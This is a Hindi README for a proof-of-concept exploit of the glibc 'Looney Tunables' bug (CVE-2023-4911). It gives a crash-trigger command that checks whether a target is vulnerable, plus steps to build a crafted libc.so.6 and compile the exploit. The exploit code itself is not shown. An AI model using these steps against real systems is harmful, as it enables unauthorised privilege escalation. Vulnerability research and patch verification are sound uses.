CVE-2023-4911 Looney Tunables का PoC

यह CVE-2023-4911 (उर्फ "Looney Tunables") का एक PoC है जो glibc डायनेमिक लोडर के GLIBC_TUNABLES पर्यावरण चर पार्सिंग फ़ंक्शन parse_tunables() में एक बग का शोषण करता है।

आरंभ करना

प्रोग्राम चलाना

• हम जाँच सकते हैं कि लक्ष्य असुरक्षित है या नहीं

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

• यदि हमें Segmentation fault (core dumped) मिलता है तो हम एक असुरक्षित लक्ष्य से निपट रहे हैं।

प्रोग्राम चलाना

• libc.so.6 फ़ाइल बनाएं

python3 libc.py

• एक्सप्लॉइट संकलित करें

gcc exp.c -o exp

अस्वीकरण

इस रिपॉजिटरी में प्रदान किया गया सारा कोड केवल शैक्षिक/अनुसंधान उद्देश्यों के लिए है। इस रिपॉजिटरी में निहित सामग्री से संबंधित कोई भी कार्य और/या गतिविधियाँ पूरी तरह से आपकी जिम्मेदारी हैं। इस रिपॉजिटरी में कोड के दुरुपयोग के परिणामस्वरूप संबंधित व्यक्तियों के खिलाफ आपराधिक आरोप लग सकते हैं। इस रिपॉजिटरी में कोड का दुरुपयोग करके कानून तोड़ने वाले किसी भी व्यक्ति के खिलाफ आपराधिक आरोप लगने की स्थिति में लेखक जिम्मेदार नहीं होगा।